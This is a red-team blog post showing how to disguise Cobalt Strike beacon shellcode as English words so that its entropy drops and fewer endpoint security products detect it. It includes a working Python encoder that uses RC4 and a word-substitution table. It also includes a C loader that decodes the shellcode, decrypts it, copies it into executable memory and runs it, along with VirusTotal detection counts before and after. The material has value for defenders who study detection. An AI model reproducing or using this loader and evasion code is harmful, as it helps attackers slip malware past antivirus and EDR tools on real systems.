Obfuscating shellcode entropy
Background
Some weeks ago, an ex-colleague of mine put together an interesting blogpost outlining ideas and resources to evade Endpoint Detection and Response solutions. The post is not ‘point and shoot’, but it does provide a roadmap and current ‘good practise’ ideas to create a loader which can bypass current technologies.
I recommend you take a look at Vincent’s post for context: A blueprint for evading industry leading endpoint protection in 2022.
The closing “It’s a cat and mouse game, and the cat is undoubtedly getting better” comment also demonstrates how much harder you have to work now to bypass security products, compared with the good old days.
Omission
Vincent’s post includes resources and implementations for a few of the proposed steps, but he also included an unimplemented idea in the ‘Reducing entropy’ section:
A more elegant solution would be to design and implement an algorithm that would obfuscate (encode/encrypt) the shellcode into English words (low entropy). That would kill two birds with one stone.
Entropy (randomness) can be used as an indicator of ‘badness’ by a security product, as high entropy can indicate that a binary is packed or encrypted - so let’s try to decrease our entropy (higher = more random, lower = less random).
This is an interesting idea, let’s think about a potential solution.
Simplistic Solution
Shellcode is simply an array of bytes with values ranging from 0x00 to 0xff. Rather than including raw or encrypted shellcode (which may have relatively high entropy), we can instead use the shellcode’s value as an index into some other array, as a type of Substituion Cipher.
The other array, could be comprised of anything, but let’s choose English words of the same length, (you’ll see why the same length is useful later) - then rather than including the raw shellcode, we could instead include the sequence of English words based on the original shellcode values index (just like a hashmap).
For example, if we have the following english_words
array and some shellcode
we want to encode:
english_words = ["bank", "base", "bear", "beat"]
shellcode = "\x00\x01\x02\x03\x02\x01\x00"
We could instead rewrite (or encode) our shellcode by performing a substitution based on the English word at the relevant index. In this case, ‘bank’ which is located at index 0 would replace the 0x00th byte, ‘base’ which is located at index 1 would replace the 0x1st byte and so on to create the encoded representation:
shellcode = "bank base bear beat bear base bank"
Using this substitution approach, we can then use bank base bear beat bear base bank
as our shellcode, instead of \x00\x01\x02\x03\x02\x01\x00
.
We can also include Vincent’s “Shellcode encryption” step too, with a high-level process:
- Have an array of 255 words, which are of equal length
- Randomly shuffle the array of 255 words
- RC4 encrypt the base shellcode
- Based on the index - substitute each byte of the RC4 encrypted shellcode, with the corresponding word from the randomly shuffled array
Shellcode execution would follow similar, but differently ordered steps:
- Based on the word - recreate the encrypted shellcode by substituting each byte with the corresponding index from the randomly shuffled array of 255 words
- RC4 decrypt the encrypted shellcode
- ???
- Execute
Consistent word length
Using an array of words of the same length keeps things simple when we are unencoding the shellcode. We can just jump to the next ‘word length’ offset in the array of words (and then lookup that corresponding index in the 255 word array). In this example I’ve used a word length of 5 (including the null byte). Any length will do, but will increase the resulting file size.
A nicer solution could make use of some offsets, or compression (such as Huffman coding), but for the purposes of this post (and increasing entropy) - let’s keep it simple.
Control Case
That’s the high-level approach, so let’s start with a control so we can compare results. I’ll create and store to disk a no-frills stageless CobaltStrike beacon shellcode, which is 265728 bytes in length.
We can then include the raw shellcode, allocate executable memory, copy the shellcode into the executable memory and execute inline:
LPVOID mem = VirtualAlloc(NULL, length, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (mem) {
memcpy(mem, shellcode, shellcode_length);
((void (*)(void))mem)();
}
Once compiled, we can upload the compiled binary to VirusTotal for some analysis. The results are interesting (concerning?) with only “27 security vendors and 2 sandboxes flag(ing) this file as malicious”. We can also see a number of the products correctly recognise and signature CobaltStrike directly with detections for “Win.Trojan.CobaltStrike-8091534-0” and “Generic.Beacon.B.9B919E05”.
Let’s also take a look at the entropy of the shellcode too using CyberChef:
The entropy of our shellcode is quite high with an entropy value of 6.375457812458179. On a scale of 0 to 8, normal English text will typically fall between 3.5 and 5, while encrypted or compressed data will typically have a value of more than 7.5.
Test Case
Now we have our control binary and results, let’s setup our test case. Using Python, we can follow the high-level steps above to encrypt and then encode our CobaltStrike beacon shellcode:
import random, sys
from arc4 import ARC4
ascii_strings = ['Ably', 'Afar', 'Area', 'Army', 'Away', 'Baby', 'Back', 'Ball', 'Band', 'Bank', 'Base', 'Bear', 'Beat', 'Bill', 'Body', 'Book', 'Burn', 'Call', 'Card', 'Care', 'Case', 'Cash', 'Cast', 'City', 'Club', 'Come', 'Cook', 'Cope', 'Cost', 'Damn', 'Dare', 'Date', 'Dead', 'Deal', 'Deep', 'Deny', 'Door', 'Down', 'Draw', 'Drop', 'Duly', 'Duty', 'Earn', 'East', 'Easy', 'Edge', 'Else', 'Even', 'Ever', 'Face', 'Fact', 'Fail', 'Fair', 'Fall', 'Farm', 'Fast', 'Fear', 'Feel', 'File', 'Fill', 'Film', 'Find', 'Fire', 'Firm', 'Fish', 'Flat', 'Food', 'Foot', 'Form', 'Full', 'Fund', 'Gain', 'Game', 'Girl', 'Give', 'Goal', 'Gold', 'Good', 'Grow', 'Hair', 'Half', 'Hall', 'Hand', 'Hang', 'Hard', 'Hate', 'Have', 'Head', 'Hear', 'Help', 'Here', 'Hide', 'High', 'Hold', 'Home', 'Hope', 'Hour', 'Hurt', 'Idea', 'Idly', 'Jack', 'John', 'Join', 'Jump', 'Just', 'Keep', 'Kill', 'Kind', 'King', 'Know', 'Lack', 'Lady', 'Land', 'Last', 'Late', 'Lead', 'Lend', 'Life', 'Lift', 'Like', 'Line', 'Link', 'List', 'Live', 'Long', 'Look', 'Lord', 'Lose', 'Loss', 'Loud', 'Love', 'Make', 'Mark', 'Mary', 'Meet', 'Mind', 'Miss', 'Move', 'Much', 'Must', 'Name', 'Near', 'Need', 'News', 'Nice', 'Note', 'Okay', 'Once', 'Only', 'Open', 'Over', 'Page', 'Pain', 'Pair', 'Park', 'Part', 'Pass', 'Past', 'Path', 'Paul', 'Pick', 'Plan', 'Play', 'Post', 'Pray', 'Pull', 'Push', 'Rain', 'Rate', 'Read', 'Real', 'Rely', 'Rest', 'Ride', 'Ring', 'Rise', 'Risk', 'Road', 'Rock', 'Role', 'Roll', 'Room', 'Rule', 'Sale', 'Save', 'Seat', 'Seek', 'Seem', 'Sell', 'Send', 'Shed', 'Shop', 'Show', 'Shut', 'Side', 'Sign', 'Sing', 'Site', 'Size', 'Skin', 'Slip', 'Slow', 'Solo', 'Soon', 'Sort', 'Star', 'Stay', 'Step', 'Stop', 'Suit', 'Sure', 'Take', 'Talk', 'Task', 'Team', 'Tell', 'Tend', 'Term', 'Test', 'Text', 'That', 'Then', 'This', 'Thus', 'Time', 'Tour', 'Town', 'Tree', 'Turn', 'Type', 'Unit', 'User', 'Vary', 'Very', 'View', 'Vote', 'Wait', 'Wake', 'Walk', 'Wall', 'Want', 'Warn', 'Wash', 'Wear', 'Week', 'When', 'Wide', 'Wife', 'Will', 'Wind', 'Wine', 'Wish', 'Wood', 'Word', 'Work', 'Year']
random.shuffle(ascii_strings)
output_file = "shellcode.h"
raw = open(sys.argv[1], "rb").read()
arc4 = ARC4("vinny")
buf = arc4.encrypt(raw)
encoded = "".join([ascii_strings[x] + "\x00" for x in buf])
with open(output_file, "w") as fh:
fh.write('''const char* strings[] = {{ \"{}\" }};
const int length = {};
'''.format(
"\", \"".join([x for x in ascii_strings]),
len(raw),
', 0x'.join(hex(ord(x))[2:] for x in encoded),
))
Now we have the shellcode in an encoded format, we can unencode, unencrypt and inline execute it again (in a similar way to our control):
int get_index(char * find) {
int index = 0;
for (int i = 0; i < sizeof(strings) / sizeof(strings[0]); i++) {
if (strcmp(find, strings[i]) == 0) {
return index;
}
index++;
}
return -1;
}
int main() {
int string_length = 5;
unsigned char* ciphertext = (unsigned char*)malloc(length);
unsigned char* plaintext = (unsigned char*)malloc(length);
LPVOID mem = VirtualAlloc(NULL, length, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (ciphertext && plaintext && mem){
for (int i = 0; i < length; i++) {
*(ciphertext + i) = get_index((char*)(encoded + (i * string_length)));
}
RC4_init("vinny");
RC4_decrypt(ciphertext, plaintext, length);
memcpy(mem, plaintext, length);
((void (*)(void))mem)();
free(ciphertext);
free(plaintext);
}
return 0;
}
We can again upload the resulting binary to VirusTotal and compare. The results are similarly concerning, with “17 security vendors and 1 sandbox flagg(ing) this file as malicious”. The detections are now also more generic with labels of “Unsafe” or “Malicious”. Which makes sense - the CobaltStrike beacon signature is no longer evident in the file.
If we take a look at the entropy of our new shellcode:
We can see that with the substitution, the new entropy of 4.616721721844255 is much more representative of standard English text, and no longer appears to be encrypted or compressed data.
Conclusion
So we have created 2 versions of our binary which executes an inline CobaltStrike payload. The raw control version was detected by 27 vendors, while the encrypted and encoded version with lower entropy shellcode was detected by 17 vendors (in retrospect, the raw version should have been encrypted too as a better control.. but we are already in the conclusion so it’s too late to change that now..).
It’s difficult to make a concrete interpretation of the results due to the number of potential data points, but it’s fair to assume that at least 10 vendors may be using entropy (or known shellcode signatures) as some indicator of binary ‘maliciousness’. With the same inline execution process and final shellcode behaviour, 10 fewer vendors identified the lower entropy shellcode as suspicious - even though the end execution result (of a CobaltStrike beacon) was the same.
Will lower entropy (and encryption) make your loader fully undetectable?
No.
But it won’t make it worse either.
Side note
Oh, and if you’re just looking for close enough - base64 encoding high entropy shellcode will give a similar result due to the way base64 encoding works (and if you’re worried about automated analysis of base64 encoded blobs, you could use a custom character set too):